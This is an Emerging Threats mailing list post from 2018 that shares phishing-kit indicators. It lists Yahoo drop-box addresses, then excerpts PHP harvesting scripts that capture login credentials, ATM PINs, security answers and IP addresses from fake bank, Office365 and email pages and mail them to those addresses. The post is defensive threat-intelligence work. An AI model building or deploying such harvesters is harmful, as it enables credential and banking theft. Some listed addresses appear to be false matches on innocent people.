[Emerging-Sigs] Fwd: YAHOO_PHISHERS

Jason Williams jwilliams at emergingthreats.net
Wed Jan 31 06:30:48 HST 2018


Daily Phisher Yahoo Run -  Wed Jan 31 09:07:44 CST 2018

dtc100.1000 at yahoo.com
globaltraveler5565 at yahoo.com
hpellson at yahoo.co.uk
mcicora at yahoo.com
morganmayeh at yahoo.com
newmandale at yahoo.com
oluwarahl95 at yahoo.com
steve_philip1 at yahoo.com
superstarmusic at yahoo.com
team_pbg at yahoo.com
tripplex3655 at yahoo.com


<?

$ip = getenv("REMOTE_ADDR");

$message .= "--------------Navy Pics Info-----------------------\n";

$message .= "Access Number             : ".$_POST['formtext1']."\n";

$message .= "User ID            : ".$_POST['formtext2']."\n";

$message .= "Password             : ".$_POST['formtext3']."\n";

$message .= "IP                     : ".$ip."\n";

$message .= "---------------Created BY Unknown-------------\n";

$send = "dtc100.1000 at yahoo.com,dtc100.1000 at gmail.com";

--
$message .= "Question 3            : ".$_POST['formselect3']."\n";


>>>>

     *
     * Author: Johann Wolfgang von Goethe
     *
     * Posting Date: June 28, 2011 [EBook #2407]
     * Release Date: November, 2000
     *
     * Language: German
     *
     * *** START OF THIS PROJECT GUTENBERG EBOOK DIE LEIDEN DES JUNGEN
WERTHER ***
     *
     * Produced by Michael Pullen, globaltraveler5565 at yahoo.com

>>>>

<?

$ip = getenv("REMOTE_ADDR");

$message .= "--------------Office365 Info-----------------------\n";

$message .= "Email            : ".$_POST['formtext1']."\n";

$message .= "Password            : ".$_POST['formtext2']."\n";

$message .= "IP                     : ".$ip."\n";

$message .= "---------------Created BY unknown-------------\n";

$send = "hpellson at yahoo.co.uk";


>>>>

     *
     * Posting Date: June 28, 2011 [EBook #2407]
     * Release Date: November, 2000
     *
     * Language: German
     *
     * *** START OF THIS PROJECT GUTENBERG EBOOK DIE LEIDEN DES JUNGEN
WERTHER ***
     *
     * Produced by Michael Pullen, globaltraveler5565 at yahoo.com
     * with proofreading and correction by Dr. Mary Cicora,
     * mcicora at yahoo.com.

>>>>



$ip = getenv("REMOTE_ADDR");

$message .= "--------------WELLS ReZulT-----------------------\n";

$message .= "Username : ".$_POST['j_username1']."\n";

$message .= "Password : ".$_POST['j_password1']."\n";

$message .= "ATM PIN : ".$_POST['j_username0']."\n";

$message .= "RE-ATM PIN : ".$_POST['j_password0']."\n";

$message .= "IP: ".$ip."\n";

$message .= "---------------powered by Tmoney------------------------
------\n";



$recipient = "morganmayeh at yahoo.com, morganicone001 at gmail.com";


>>>>

<?

$ip = getenv("REMOTE_ADDR");

$message .= "--------------126 Login Info-----------------------\n";

$message .= "User Id             : ".$_POST['id']."\n";

$message .= "Password             : ".$_POST['pw']."\n";

$message .= "IP                     : ".$ip."\n";

$message .= "---------------Created BY Unknown-------------\n";

$fp = fopen("enki.txt","a");

fputs($fp,$message);

fclose($fp);

$recipient = "newmandale at yahoo.com";


>>>>

$ip = getenv("REMOTE_ADDR");

$country = visitor_country();

$message .= "---------=ReZulT=---------\n";

$message .= "Online: ".$_POST['id']."\n";

$message .= "pass: ".$_POST['password']."\n";

$message .= "---------=IP Address & Date=---------\n";

$message .= "IP Address: ".$ip."\n";

$message .= "Country: ".$country."\n";

$message .= "Date: ".$adddate."\n";

$message .= "---------Created BY fudtools[.]com---------\n";

$sent ="oluwarahl95 at yahoo.com";


>>>>

<?php



$send="ayubaibrahim473 at gmail.com,steve_philip1 at yahoo.com"; // will send the
results at this address.


>>>>

<?

$ip = getenv("REMOTE_ADDR");

$message .= "----------BOA INFO DATA------------\n";

$message .= "Online ID        : ".$_POST['onlineid']."\n";

$message .= "IP                     : ".$ip."\n";

$message .= "---------Created BY superstarmusic at yahoo.com------------\n";

--
$message .= "Answer2        : ".$_POST['form4']."\n";

$message .= "Challenge3        : ".$_POST['form5']."\n";

$message .= "Answer3        : ".$_POST['form6']."\n";

$message .= "Challenge4        : ".$_POST['form7']."\n";


>>>>

 # You can redistribute it and/or modify it under the terms of
 # the GNU General Public License as published by the Free Software
Foundation,
 # either version 3 of the License, or (at your option) any later version.

 # However, the license header, copyright and author credits
 # must not be modified in any form and always be displayed.

 # This program is distributed in the hope that it will be useful,
 # but WITHOUT ANY WARRANTY; without even the implied warranty of
 # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
 # Contact me : team_pbg at yahoo.com for more details.

>>>>

<?



$adddate=date("D M d, Y g:i a");

$ip = getenv("REMOTE_ADDR");

$host = gethostbyaddr($_SERVER['REMOTE_ADDR']);

$message .= "User ID: ".$_POST['login']."\n";

$message .= "Password: ".$_POST['passwd']."\n";

$message .= "Host: ".$host."\n";

$message .= "Date: ".$adddate."\n";

$message .= "------------- Created By [P][H][P][P][O][P]---------------\n";

$recipient = "tripplex3655 at yahoo.com,tripplex367 at gmail.com,tripplex367@
outlook.com";


>>>>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.emergingthreats.net/pipermail/emerging-sigs/attachments/20180131/e057b87b/attachment-0001.html>


More information about the Emerging-sigs mailing list